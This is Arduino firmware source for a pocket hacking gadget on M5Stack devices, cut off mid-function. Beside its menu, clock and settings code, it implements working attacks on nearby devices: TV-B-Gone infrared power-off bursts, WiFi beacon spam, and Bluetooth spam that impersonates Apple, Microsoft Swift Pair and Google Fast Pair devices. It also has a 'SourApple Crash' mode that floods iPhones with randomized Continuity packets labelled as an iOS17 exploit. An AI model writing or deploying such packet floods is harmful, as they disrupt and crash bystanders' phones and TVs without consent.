m5stick-nemo/m5stick-nemo.ino

// Nemo Firmware for the M5 Stack Stick C Plus
// github.com/n0xa | IG: @4x0nn

// -=-=-=-=-=-=- Uncomment the platform you're building for -=-=-=-=-=-=-
#define STICK_C_PLUS
//#define STICK_C_PLUS2
//#define STICK_C
//#define CARDPUTER
// -=-=- Uncommenting more than one at a time will result in errors -=-=-

String buildver="2.1.1";
#define BGCOLOR BLACK
#define FGCOLOR GREEN

#if defined(STICK_C_PLUS)
  #include <M5StickCPlus.h>
  // -=-=- Display -=-=-
  String platformName="StickC+";
  #define BIG_TEXT 4
  #define MEDIUM_TEXT 3
  #define SMALL_TEXT 2
  #define TINY_TEXT 1
  // -=-=- FEATURES -=-=-
  #define M5LED
  #define RTC
  #define AXP
  #define ACTIVE_LOW_IR
  #define ROTATION
  #define USE_EEPROM
  // -=-=- ALIASES -=-=-
  #define DISP M5.Lcd
  #define IRLED 9
#endif

#if defined(STICK_C_PLUS2)
  #include <M5StickCPlus2.h>
  // -=-=- Display -=-=-
  String platformName="StickC+2";
  #define BIG_TEXT 4
  #define MEDIUM_TEXT 3
  #define SMALL_TEXT 2
  #define TINY_TEXT 1
  // -=-=- FEATURES -=-=-
  // #define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.  
  #define ACTIVE_LOW_IR
  #define ROTATION
  //#define USE_EEPROM //TODO: This won't work until RTC is sorted out
  // -=-=- ALIASES -=-=-
  #define DISP M5.Lcd
  #define IRLED 19
  #define M5_BUTTON_MENU 35
  #define M5_BUTTON_HOME 37
  #define M5_BUTTON_RST 39
  //TODO: Figure out screen brightness on PLUS2 (if possible at all?) without AXP.
  #define BACKLIGHT 27 // best I can tell from the schematics?
#endif

#if defined(STICK_C)
  #include <M5StickC.h>
  // -=-=- Display -=-=-
  String platformName="StickC";
  #define BIG_TEXT 2
  #define MEDIUM_TEXT 2
  #define SMALL_TEXT 1
  #define TINY_TEXT 1
  // -=-=- FEATURES -=-=-
  #define M5LED
  #define RTC
  #define AXP
  #define ROTATION
  #define USE_EEPROM
  // -=-=- ALIASES -=-=-
  #define DISP M5.Lcd
  #define IRLED 9
#endif

#if defined(CARDPUTER)
  #include <M5Cardputer.h>
  // -=-=- Display -=-=-
  String platformName="Cardputer";
  #define BIG_TEXT 4
  #define MEDIUM_TEXT 3
  #define SMALL_TEXT 2
  #define TINY_TEXT 1
  // -=-=- FEATURES -=-=-
  #define KB
  #define HID
  #define ACTIVE_LOW_IR
  #define USE_EEPROM
  // -=-=- ALIASES -=-=-
  #define DISP M5Cardputer.Display
  #define IRLED 44
  #define BACKLIGHT 38
#endif

// -=-=-=-=-=- LIST OF CURRENTLY DEFINED FEATURES -=-=-=-=-=-
// M5LED      - An LED exposed as M5_LED
// RTC        - Real-time clock exposed as M5.Rtc 
// AXP        - AXP192 Power Management exposed as M5.Axp
// KB         - Keyboard exposed as M5Cardputer.Keyboard
// HID        - HID exposed as USBHIDKeyboard
// USE_EEPROM - Store settings in EEPROM
// ROTATION   - Allow screen to be rotated
// DISP       - Set to the API's Display class

#include <IRremoteESP8266.h>
#include <IRsend.h>
#include "applejuice.h"
#include "WORLD_IR_CODES.h"
#include "wifispam.h"
#include <BLEUtils.h>
#include <BLEServer.h>

int advtime = 0; 
int cursor = 0;
int wifict = 0;
int brightness = 100;
int ajDelay = 1000;
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
bool sourApple = false;   // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
bool swiftPair = false;   // Internal flag to place AppleJuice into Swift Pair random packet Mode
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
bool maelstrom = false;   // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
#if defined(USE_EEPROM)
  #include <EEPROM.h>
  #define EEPROM_SIZE 4
#endif

struct MENU {
  char name[19];
  int command;
};

/// SWITCHER ///
// Proc codes
// 0  - Clock
// 1  - Main Menu
// 2  - Settings Menu
// 3  - Clock set
// 4  - Dimmer Time adjustment
// 5  - TV B-GONE
// 6  - Battery info
// 7  - screen rotation
// 8  - AppleJuice Menu
// 9  - AppleJuice Advertisement
// 10 - Credits 
// 11 - Wifi beacon spam
// 12 - Wifi spam menu
// 13 - TV-B-Gone Region Setting
// 14 - Wifi scanning
// 15 - Wifi scan results
// 16 - Bluetooth Spam Menu
// 17 - Bluetooth Maelstrom
// 18 - QR Codes

struct QRCODE {
  char name[19];
  String url;
};

QRCODE qrcodes[] = {
  { "Back", "" },
  { "Rickroll", "https://youtu.be/dQw4w9WgXcQ"},
  { "HackerTyper", "https://hackertyper.net/"},
  { "ZomboCom", "https://html5zombo.com/"},
};

bool isSwitching = true;
#if defined(RTC)
  int current_proc = 0; // Start in Clock Mode
#else
  int current_proc = 1; // Start in Main Menu mode if no RTC
#endif

void switcher_button_proc() {
  if (rstOverride == false) {
    if (check_next_press()) {
      isSwitching = true;
      current_proc = 1;
    }
  }
}

// Tap the power button from pretty much anywhere to get to the main menu
void check_menu_press() {
#if defined(AXP)
  if (M5.Axp.GetBtnPress()) {
#endif
#if defined(KB)
  if (M5Cardputer.Keyboard.isKeyPressed(',') || M5Cardputer.Keyboard.isKeyPressed('`')){
#endif
#if defined(M5_BUTTON_MENU)
  if (digitalRead(M5_BUTTON_MENU) == LOW){
#endif
    dimtimer();
    isSwitching = true;
    rstOverride = false;
    current_proc = 1;
    delay(100);
  }
}

bool check_next_press(){
#if defined(KB)
  M5Cardputer.update();
  if (M5Cardputer.Keyboard.isKeyPressed(';')){
    // hack to handle the up arrow
    cursor = cursor - 2;
    dimtimer();
    return true;
  }
  M5Cardputer.update();
  if (M5Cardputer.Keyboard.isKeyPressed(KEY_TAB) || M5Cardputer.Keyboard.isKeyPressed('.')){
    dimtimer();
    return true;
  }
#else
  if (digitalRead(M5_BUTTON_RST) == LOW){
    dimtimer();
    return true;
  }
#endif
  return false;
}

bool check_select_press(){
#if defined(KB)
  M5Cardputer.update();
  if (M5Cardputer.Keyboard.isKeyPressed(KEY_ENTER) || M5Cardputer.Keyboard.isKeyPressed('/')){
    dimtimer();
    return true;
  }
#else
  if (digitalRead(M5_BUTTON_HOME) == LOW){
    dimtimer();
    return true;
  }
#endif
  return false;
}

/// MAIN MENU ///
MENU mmenu[] = {
#if defined(RTC)
  { "Clock", 0},
#endif
  { "TV-B-Gone", 13}, // We jump to the region menu first
  { "Bluetooth", 16},
  { "WiFi", 12},
  { "QR Codes", 18},
  { "Settings", 2},
};

void mmenu_drawmenu() {
  DISP.setTextSize(SMALL_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 8, 1);
  for ( int i = 0 ; i < ( sizeof(mmenu) / sizeof(MENU) ) ; i++ ) {
    DISP.print((cursor == i) ? ">" : " ");
    DISP.println(mmenu[i].name);
  }
}

void mmenu_setup() {
  cursor = 0;
  rstOverride = true;
  mmenu_drawmenu();
  delay(500); // Prevent switching after menu loads up
}

void mmenu_loop() {
  if (check_next_press()) {
    cursor++;
    cursor = cursor % ( sizeof(mmenu) / sizeof(MENU) );
    mmenu_drawmenu();
    delay(250);
  }
  if (check_select_press()) {
    rstOverride = false;
    isSwitching = true;
    current_proc = mmenu[cursor].command;
  }
}

//Screen dimming needs both AXP and RTC features
bool screen_dim_dimmed = false;
int screen_dim_time = 30;
int screen_dim_current = 0;

void screenBrightness(int bright){
  #if defined(AXP)
    M5.Axp.ScreenBreath(bright);
  #endif
  #if defined(BACKLIGHT)
    analogWrite(BACKLIGHT, 155 + (bright));
  #endif
}

int uptime(){
  return(int(millis() / 1000));
}

void dimtimer(){
  if(screen_dim_dimmed){
    screenBrightness(brightness);
    screen_dim_dimmed = false;
  }
  screen_dim_current = uptime() + screen_dim_time + 2;
}

void screen_dim_proc() {
  check_menu_press();
  check_next_press();
  check_select_press();
  if (screen_dim_dimmed == false) {
    if (uptime() == screen_dim_current || (uptime() + 1) == screen_dim_current || (uptime() + 2) == screen_dim_current) {
      screenBrightness(10);
      screen_dim_dimmed = true;
    }
  }
}

  /// Dimmer MENU ///
  MENU dmenu[] = {
    { "Back", screen_dim_time},
    { "5 seconds", 5},
    { "10 seconds", 10},
    { "15 seconds", 15},
    { "20 seconds", 20},
    { "25 seconds", 25},
    { "30 seconds", 30},
  };

  void dmenu_drawmenu() {
    DISP.setTextSize(SMALL_TEXT);
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(0, 8, 1);
    for ( int i = 0 ; i < ( sizeof(dmenu) / sizeof(MENU) ) ; i++ ) {
      DISP.print((cursor == i) ? ">" : " ");
      DISP.println(dmenu[i].name);
    }
  }

  void dmenu_setup() {
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(0, 5, 1);
    DISP.println("SET AUTO DIM TIME");
    delay(1000);
    cursor = (screen_dim_time / 5) - 1;
    rstOverride = true;
    dmenu_drawmenu();
    delay(500); // Prevent switching after menu loads up
  }

  void dmenu_loop() {
    if (check_next_press()) {
      cursor++;
      cursor = cursor % ( sizeof(dmenu) / sizeof(MENU) );
      dmenu_drawmenu();
      delay(250);
    }
    if (check_select_press()) {
      screen_dim_time = dmenu[cursor].command;
      #if defined(USE_EEPROM)
        EEPROM.write(1, screen_dim_time);
        EEPROM.commit();
      #endif
      DISP.fillScreen(BGCOLOR);
      DISP.setCursor(0, 5, 1);
      DISP.println("SET BRIGHTNESS");
      delay(1000);
      cursor = brightness / 10;
      timeset_drawmenu(11);
      while( !check_select_press()) {
        if (check_next_press()) {
          cursor++;
          cursor = cursor % 11 ;
          timeset_drawmenu(11);
          screenBrightness(10 * cursor);
          delay(250);
         }
      }
      screenBrightness(10 * cursor);
      #if defined(USE_EEPROM)
        EEPROM.write(2, 10 * cursor);
        EEPROM.commit();
      #endif
      rstOverride = false;
      isSwitching = true;
      current_proc = 2;
    }
  }

/// SETTINGS MENU ///
MENU smenu[] = {
  { "Back", 1},
#if defined(AXP)
  { "Battery Info", 6},
#endif
  { "Brightness", 4},
#if defined(RTC)
  { "Set Clock", 3},
#endif
#if defined(ROTATION)
  { "Rotation", 7},
#endif
  { "About", 10},
#if defined(USE_EEPROM)
  { "Clear Settings", 99},
#endif
};

void smenu_drawmenu() {
  DISP.setTextSize(SMALL_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 8, 1);
  for ( int i = 0 ; i < ( sizeof(smenu) / sizeof(MENU) ) ; i++ ) {
    DISP.print((cursor == i) ? ">" : " ");
    DISP.println(smenu[i].name);
  }
}

void smenu_setup() {
  cursor = 0;
  rstOverride = true;
  smenu_drawmenu();
  delay(500); // Prevent switching after menu loads up
}

void smenu_loop() {
  if (check_next_press()) {
    cursor++;
    cursor = cursor % ( sizeof(smenu) / sizeof(MENU) );
    smenu_drawmenu();
    delay(250);
  }
  if (check_select_press()) {
    rstOverride = false;
    isSwitching = true;
    if(smenu[cursor].command == 99){
#if defined(USE_EEPROM)
      EEPROM.write(0, 255); // Rotation
      EEPROM.write(1, 255); // dim time
      EEPROM.write(2, 255); // brightness
      EEPROM.write(2, 255); // TV-B-Gone Region
      EEPROM.commit();
#endif
      ESP.restart();
    }
    current_proc = smenu[cursor].command;
  }
}

int rotation = 1;
#if defined(ROTATION)
  /// Rotation MENU ///
  MENU rmenu[] = {
    { "Back", rotation},
    { "Right", 1},
    { "Left", 3},
  };

  void rmenu_drawmenu() {
    DISP.setTextSize(SMALL_TEXT);
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(0, 8, 1);
    for ( int i = 0 ; i < ( sizeof(rmenu) / sizeof(MENU) ) ; i++ ) {
      DISP.print((cursor == i) ? ">" : " ");
      DISP.println(rmenu[i].name);
    }
  }

  void rmenu_setup() {
    cursor = 0;
    rstOverride = true;
    rmenu_drawmenu();
    delay(500); // Prevent switching after menu loads up
  }

  void rmenu_loop() {
    if (check_next_press()) {
      cursor++;
      cursor = cursor % ( sizeof(rmenu) / sizeof(MENU) );
      rmenu_drawmenu();
      delay(250);
    }
    if (check_select_press()) {
      rstOverride = false;
      isSwitching = true;
      rotation = rmenu[cursor].command;
      DISP.setRotation(rotation);
      #if defined(USE_EEPROM)
        EEPROM.write(0, rotation);
        EEPROM.commit();
      #endif
      current_proc = 2;
    }
  }
#endif //ROTATION

#if defined(AXP)
  /// BATTERY INFO ///
  void battery_drawmenu(int battery, int b, int c) {
    DISP.setTextSize(SMALL_TEXT);
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(0, 8, 1);
    DISP.print("Battery: ");
    DISP.print(battery);
    DISP.println("%");
    DISP.print("DeltaB: ");
    DISP.println(b);
    DISP.print("DeltaC: ");
    DISP.println(c);
    DISP.println("");
    DISP.println("Press any button to exit");
  }
  void battery_setup() {
    rstOverride = false;
    float c = M5.Axp.GetVapsData() * 1.4 / 1000;
    float b = M5.Axp.GetVbatData() * 1.1 / 1000;
    int battery = ((b - 3.0) / 1.2) * 100;
    battery_drawmenu(battery, b, c);
    delay(500); // Prevent switching after menu loads up
  }

  void battery_loop() {
    delay(300);
    float c = M5.Axp.GetVapsData() * 1.4 / 1000;
    float b = M5.Axp.GetVbatData() * 1.1 / 1000;
    int battery = ((b - 3.0) / 1.2) * 100;
    battery_drawmenu(battery, b, c);
    if (check_select_press()) {
      rstOverride = false;
      isSwitching = true;
      current_proc = 1;
    }
  }
#endif // AXP

/// TV-B-GONE ///
void tvbgone_setup() {
  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(BIG_TEXT);
  DISP.setCursor(5, 1);
  DISP.println("TV-B-Gone");
  DISP.setTextSize(SMALL_TEXT);
  irsend.begin();
  // Hack: Set IRLED high to turn it off after setup. Otherwise it stays on (active low)
  digitalWrite(IRLED, HIGH);

  delay_ten_us(5000);
  if(region == NA) {
    DISP.print("Region:\nAmericas / Asia\n");
  }
  else {
    DISP.println("Region: EMEA");
  }
  DISP.println("Select: Go/Pause");
  DISP.println("Next: Exit");
  delay(1000);
}

void tvbgone_loop()
{
  if (check_select_press()) {
    delay(250);
    Serial.println("triggered TVBG");
    sendAllCodes();
  }
}

/// TVBG-Region MENU ///
MENU tvbgmenu[] = {
  { "Back", 3},
  { "Americas / Asia", 0},
  { "EU/MidEast/Africa", 1},
};

void tvbgmenu_drawmenu() {
  DISP.setTextSize(SMALL_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 8, 1);
  for ( int i = 0 ; i < ( sizeof(tvbgmenu) / sizeof(MENU) ) ; i++ ) {
    DISP.print((cursor == i) ? ">" : " ");
    DISP.println(tvbgmenu[i].name);
  }
}

void tvbgmenu_setup() {  
  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(BIG_TEXT);
  DISP.setCursor(5, 1);
  DISP.println("TV-B-Gone");
  DISP.setTextSize(MEDIUM_TEXT);
  DISP.println("Region");
  cursor = region % 2;
  rstOverride = true;
  delay(1000); 
  tvbgmenu_drawmenu();
}

void tvbgmenu_loop() {
  if (check_next_press()) {
    cursor++;
    cursor = cursor % ( sizeof(tvbgmenu) / sizeof(MENU) );
    tvbgmenu_drawmenu();
    delay(250);
  }
  if (check_select_press()) {
    region = tvbgmenu[cursor].command;

    if (region == 3) {
      current_proc = 1;
      isSwitching = true;
      rstOverride = false; 
      return;
    }

    #if defined(USE_EEPROM)
      EEPROM.write(3, region);
      EEPROM.commit();
    #endif
    rstOverride = false;
    isSwitching = true;
    current_proc = 5;
  }
}

void sendAllCodes() {
  bool endingEarly = false; //will be set to true if the user presses the button during code-sending
  if (region == NA) {
    num_codes = num_NAcodes;
  } else {
    num_codes = num_EUcodes;
  }
  for (i = 0 ; i < num_codes; i++)
  {
    if (region == NA) {
      powerCode = NApowerCodes[i];
    }
    else {
      powerCode = EUpowerCodes[i];
    }
    const uint8_t freq = powerCode->timer_val;
    const uint8_t numpairs = powerCode->numpairs;
    DISP.fillScreen(BGCOLOR);
    DISP.setTextSize(BIG_TEXT);
    DISP.setCursor(5, 1);
    DISP.println("TV-B-Gone");
    DISP.setTextSize(SMALL_TEXT);
    DISP.println("Front Key: Go/Pause");
    const uint8_t bitcompression = powerCode->bitcompression;
    code_ptr = 0;
    for (uint8_t k = 0; k < numpairs; k++) {
      uint16_t ti;
      ti = (read_bits(bitcompression)) * 2;
      #if defined(ACTIVE_LOW_IR)
        offtime = powerCode->times[ti];  // read word 1 - ontime
        ontime = powerCode->times[ti + 1]; // read word 2 - offtime
      #else
        ontime = powerCode->times[ti];  // read word 1 - ontime
        offtime = powerCode->times[ti + 1]; // read word 2 - offtime      
      #endif
      DISP.setTextSize(TINY_TEXT);
      DISP.printf("rti = %d Pair = %d, %d\n", ti >> 1, ontime, offtime);
      Serial.printf("TVBG: rti = %d Pair = %d, %d\n", ti >> 1, ontime, offtime);
      rawData[k * 2] = offtime * 10;
      rawData[(k * 2) + 1] = ontime * 10;
    }
    irsend.sendRaw(rawData, (numpairs * 2) , freq);
    #if defined(ACTIVE_LOW_IR)
      // Set Active Low IRLED high to turn it off after each burst.
      digitalWrite(IRLED, HIGH);
    #endif
    bitsleft_r = 0;
    delay_ten_us(20500);
    #if defined(AXP)
    if (M5.Axp.GetBtnPress()) {
      endingEarly = true;
      current_proc = 1;
      isSwitching = true;
      rstOverride = false; 
      break;     
    }
    #endif
#if defined(KB)
#endif
    if (check_select_press()){
      Serial.println("endingearly");
      endingEarly = true;
      delay(250);
      break; 
    }
  } 
  if (endingEarly == false)
  {
    delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
    delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
    quickflashLEDx(8);
  }
  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(BIG_TEXT);
  DISP.setCursor(5, 1);
  DISP.println("TV-B-Gone");
  DISP.setTextSize(SMALL_TEXT);
  DISP.println("Select: Go/Pause");
  DISP.println("Next: Exit");
}

/// CLOCK ///
  /// TIMESET ///
  void timeset_drawmenu(int nums) {
    DISP.setTextSize(SMALL_TEXT);
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(0, 5, 1);
    // scrolling menu
    if (cursor > 5) {
      for ( int i = 0 + (cursor - 5) ; i < nums ; i++ ) {
        DISP.print((cursor == i) ? ">" : " ");
        DISP.println(i);
      }
    } else {
      for (
        int i = 0 ; i < nums ; i++ ) {
        DISP.print((cursor == i) ? ">" : " ");
        DISP.println(i);
      }
    }
  }

#if defined(RTC)
  void clock_setup() {
    DISP.fillScreen(BGCOLOR);
    DISP.setTextSize(MEDIUM_TEXT);
  }

  void clock_loop() {
    M5.Rtc.GetBm8563Time();
    DISP.setCursor(40, 40, 2);
    DISP.printf("%02d:%02d:%02d\n", M5.Rtc.Hour, M5.Rtc.Minute, M5.Rtc.Second);
    delay(250);
  }

  /// TIME SETTING ///
  void timeset_setup() {
    rstOverride = true;
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(0, 5, 1);
    DISP.println("SET HOUR");
    delay(2000);
  }

  void timeset_loop() {
    M5.Rtc.GetBm8563Time();
    cursor = M5.Rtc.Hour;
    timeset_drawmenu(24);
    while(digitalRead(M5_BUTTON_HOME) == HIGH) {
      if (check_next_press()) {
        cursor++;
        cursor = cursor % 24 ;
        timeset_drawmenu(24);
        delay(100);
      }
    }
    int hour = cursor;
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(0, 5, 1);
    DISP.println("SET MINUTE");
    delay(2000);
    cursor = M5.Rtc.Minute;
    timeset_drawmenu(60);
    while(digitalRead(M5_BUTTON_HOME) == HIGH) {
      if (check_next_press()) {
        cursor++;
        cursor = cursor % 60 ;
        timeset_drawmenu(60);
        delay(100);
      }
    }
    int minute = cursor;
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(0, 5, 1);
    RTC_TimeTypeDef TimeStruct;
    TimeStruct.Hours   = hour;
    TimeStruct.Minutes = minute;
    TimeStruct.Seconds = 0;
    M5.Rtc.SetTime(&TimeStruct);
    DISP.printf("Setting Time:\n%02d:%02d:00",hour,minute);
    delay(2000);
    rstOverride = false;
    isSwitching = true;
    current_proc = 0;
  }
#endif // RTC

/// Bluetooth Spamming ///
/// BTSPAM MENU ///
MENU btmenu[] = {
  { "Back", 5},
  { "AppleJuice", 0},
  { "Swift Pair", 1},
  { "Android Spam", 4},
  { "SourApple Crash", 2},
  { "BT Maelstrom", 3},
};

void btmenu_drawmenu() {
  DISP.setTextSize(SMALL_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 8, 1);
  for ( int i = 0 ; i < ( sizeof(btmenu) / sizeof(MENU) ) ; i++ ) {
    DISP.print((cursor == i) ? ">" : " ");
    DISP.println(btmenu[i].name);
  }
}

void btmenu_setup() {
  cursor = 0;
  sourApple = false;
  swiftPair = false;
  maelstrom = false;
  androidPair = false;
  rstOverride = true;
  btmenu_drawmenu();
  delay(500); // Prevent switching after menu loads up
}

void btmenu_loop() {
  if (check_next_press()) {
    cursor++;
    cursor = cursor % ( sizeof(btmenu) / sizeof(MENU) );
    btmenu_drawmenu();
    delay(250);
  }
  if (check_select_press()) {
    int option = btmenu[cursor].command;
    DISP.fillScreen(BGCOLOR);
    DISP.setTextSize(MEDIUM_TEXT);
    DISP.setCursor(5, 1);
    DISP.println("BT Spam");
    DISP.setTextSize(SMALL_TEXT);
    DISP.print("Advertising:\n");

    switch(option) {
      case 0:
        DISP.fillScreen(BGCOLOR);
        rstOverride = false;
        isSwitching = true;
        current_proc = 8;
        break;
      case 1:
        swiftPair = true;
        current_proc = 9; // jump straight to appleJuice Advertisement
        rstOverride = false;
        isSwitching = true;
        DISP.print("Swift Pair Random");
        DISP.print("\n\nNext: Exit");
        break;
      case 2:
        sourApple = true;
        current_proc = 9; // jump straight to appleJuice Advertisement
        rstOverride = false;
        isSwitching = true;
        DISP.print("SourApple Crash");
        DISP.print("\n\nNext: Exit");
        break;
      case 3:
        rstOverride = false;
        isSwitching = true;
        current_proc = 17; // Maelstrom
        DISP.print("Bluetooth Maelstrom\n");
        DISP.print(" Combined BT Spam");
        DISP.print("\n\nNext: Exit");
        break;
      case 4:
        androidPair = true;
        current_proc = 9; // jump straight to appleJuice Advertisement
        rstOverride = false;
        isSwitching = true;
        DISP.print("Android Spam");
        DISP.print("\n\nNext: Exit");
        break;

      case 5:
        DISP.fillScreen(BGCOLOR);
        rstOverride = false;
        isSwitching = true;
        current_proc = 1;
        break;
    }
  }
}

MENU ajmenu[] = {
  { "Back", 29},
  { "AirPods", 1},
  { "Transfer Number", 27},
  { "AirPods Pro", 2},
  { "AirPods Max", 3},
  { "AirPods G2", 4},
  { "AirPods G3", 5},
  { "AirPods Pro G2", 6},
  { "PowerBeats", 7},
  { "PowerBeats Pro", 8},
  { "Beats Solo Pro", 9},
  { "Beats Studio Buds", 10},
  { "Beats Flex", 11},
  { "Beats X", 12},
  { "Beats Solo 3", 13},
  { "Beats Studio 3", 14},
  { "Beats Studio Pro", 15},
  { "Beats Fit Pro", 16},
  { "Beats Studio Buds+", 17},
  { "AppleTV Setup", 18},
  { "AppleTV Pair", 19},
  { "AppleTV New User", 20},
  { "AppleTV AppleID", 21},
  { "AppleTV Audio", 22},
  { "AppleTV HomeKit", 23},
  { "AppleTV Keyboard", 24},
  { "AppleTV Network", 25},
  { "TV Color Balance", 26},
  { "Setup New Phone", 28},
};

void aj_drawmenu() {
  DISP.setTextSize(SMALL_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 5, 1);
  // scrolling menu
  if (cursor > 5) {
    for ( int i = 0 + (cursor - 5) ; i < ( sizeof(ajmenu) / sizeof(MENU) ) ; i++ ) {
      DISP.print((cursor == i) ? ">" : " ");
      DISP.println(ajmenu[i].name);
    }
  } else {
    for (
      int i = 0 ; i < ( sizeof(ajmenu) / sizeof(MENU) ) ; i++ ) {
      DISP.print((cursor == i) ? ">" : " ");
      DISP.println(ajmenu[i].name);
    }
  }
}

void aj_setup(){
  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(MEDIUM_TEXT);
  DISP.setCursor(5, 1);
  DISP.println("AppleJuice");
  delay(1000);  
  cursor = 0;
  sourApple = false;
  swiftPair = false;
  maelstrom = false;
  rstOverride = true;
  aj_drawmenu();
}

void aj_loop(){
  if (!maelstrom){
    if (check_next_press()) {
      cursor++;
      cursor = cursor % ( sizeof(ajmenu) / sizeof(MENU) );
      aj_drawmenu();
      delay(100);
    }
  }
  if (check_select_press() || maelstrom) {
    deviceType = ajmenu[cursor].command;
    if (maelstrom) {
      deviceType = random(1, 28);
    }
    switch(deviceType) {
      case 1:
        data = Airpods;
        break;
      case 2:
        data = AirpodsPro;
        break;
      case 3:
        data = AirpodsMax;
        break;
      case 4:
        data = AirpodsGen2;
        break;
      case 5:
        data = AirpodsGen3;
        break;
      case 6:
        data = AirpodsProGen2;
        break;
      case 7:
        data = PowerBeats;
        break;
      case 8:
        data = PowerBeatsPro;
        break;
      case 9:
        data = BeatsSoloPro;
        break;
      case 10:
        data = BeatsStudioBuds;
        break;
      case 11:
        data = BeatsFlex;
        break;
      case 12:
        data = BeatsX;
        break;
      case 13:
        data = BeatsSolo3;
        break;
      case 14:
        data = BeatsStudio3;
        break;
      case 15:
        data = BeatsStudioPro;
        break;
      case 16:
        data = BeatsFitPro;
        break;
      case 17:
        data = BeatsStudioBudsPlus;
        break;
      case 18:
        data = AppleTVSetup;
        break;
      case 19:
        data = AppleTVPair;
        break;
      case 20:
        data = AppleTVNewUser;
        break;
      case 21:
        data = AppleTVAppleIDSetup;
        break;
      case 22:
        data = AppleTVWirelessAudioSync;
        break;
      case 23:
        data = AppleTVHomekitSetup;
        break;
      case 24:
        data = AppleTVKeyboard;
        break;
      case 25:
        data = AppleTVConnectingToNetwork;
        break;
      case 26:
        data = TVColorBalance;
        break;
      case 27:
        data = TransferNumber;
        break;
      case 28:
        data = SetupNewPhone;
        break;
      case 29:
        rstOverride = false;
        isSwitching = true;
        current_proc = 1;
        break;
    }
    if (current_proc == 8 && isSwitching == false){
      DISP.fillScreen(BGCOLOR);
      DISP.setTextSize(MEDIUM_TEXT);
      DISP.setCursor(5, 1);
      DISP.println("AppleJuice");
      DISP.setTextSize(SMALL_TEXT);
      DISP.print("Advertising:\n");
      DISP.print(ajmenu[cursor].name);
      DISP.print("\n\nNext: Exit");
      isSwitching = true;
      current_proc = 9; // Jump over to the AppleJuice BLE beacon loop
    }
  }
}

void aj_adv_setup(){
  rstOverride = false;  
}

void aj_adv(){
  // run the advertising loop
  // Isolating this to its own process lets us take advantage 
  // of the background stuff easier (menu button, dimmer, etc)
  rstOverride = true;
  if (sourApple || swiftPair || androidPair || maelstrom){
    delay(20);   // 20msec delay instead of ajDelay for SourApple attack
    advtime = 0; // bypass ajDelay counter
  }
  if (millis() > advtime + ajDelay){
    advtime = millis();
    pAdvertising->stop(); // This is placed here mostly for timing.
                          // It allows the BLE beacon to run through the loop.
    BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
    if (sourApple){
      Serial.print("SourApple Advertisement: ");
      // Some code borrowed from RapierXbox/ESP32-Sour-Apple
      // Original credits for algorithm ECTO-1A & WillyJL
      uint8_t packet[17];
      uint8_t size = 17;
      uint8_t i = 0;
      packet[i++] = size - 1;    // Packet Length
      packet[i++] = 0xFF;        // Packet Type (Manufacturer Specific)
      packet[i++] = 0x4C;        // Packet Company ID (Apple, Inc.)
      packet[i++] = 0x00;        // ...
      packet[i++] = 0x0F;  // Type
      packet[i++] = 0x05;                        // Length
      packet[i++] = 0xC1;                        // Action Flags
      const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
      packet[i++] = types[rand() % sizeof(types)];  // Action Type
      esp_fill_random(&packet[i], 3); // Authentication Tag
      i += 3;
      packet[i++] = 0x00;  // ???
      packet[i++] = 0x00;  // ???
      packet[i++] =  0x10;  // Type ???
      esp_fill_random(&packet[i], 3);
      oAdvertisementData.addData(std::string((char *)packet, 17));
      for (int i = 0; i < sizeof packet; i ++) {
        Serial.printf("%02x", packet[i]);
      }
      Serial.println("");
    } else if (swiftPair) {
      const char* display_name = generateRandomName();
      Serial.printf("SwiftPair Advertisement: '%s' - ", display_name);
      uint8_t display_name_len = strlen(display_name);
      uint8_t size = 7 + display_name_len;
      uint8_t* packet = (uint8_t*)malloc(size);
      uint8_t i = 0;
      packet[i++] = size - 1; // Size
      packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
      packet[i++] = 0x06; // Company ID (Microsoft)
      packet[i++] = 0x00; // ...
      packet[i++] = 0x03; // Microsoft Beacon ID
      packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
      packet[i++] = 0x80; // Reserved RSSI Byte
      for (int j = 0; j < display_name_len; j++) {
        packet[i + j] = display_name[j];
      }
      for (int i = 0; i < size; i ++) {
        Serial.printf("%02x", packet[i]);
      }
      Serial.println("");

      i += display_name_len;  
      oAdvertisementData.addData(std::string((char *)packet, size));
      free(packet);
      free((void*)display_name);
    } else if (androidPair) {
      Serial.print("Android Spam Advertisement: ");
      uint8_t packet[14];
      uint8_t i = 0;
      packet[i++] = 3;  // Packet Length
      packet[i++] = 0x03; // AD Type (Service UUID List)
      packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
      packet[i++] = 0xFE; // ...
      packet[i++] = 6; // Size
      packet[i++] = 0x16; // AD Type (Service Data)
      packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
      packet[i++] = 0xFE; // ...
      const uint32_t model = android_models[rand() % android_models_count].value; // Action Type
      packet[i++] = (model >> 0x10) & 0xFF;
      packet[i++] = (model >> 0x08) & 0xFF;
      packet[i++] = (model >> 0x00) & 0xFF;
      packet[i++] = 2; // Size
      packet[i++] = 0x0A; // AD Type (Tx Power Level)
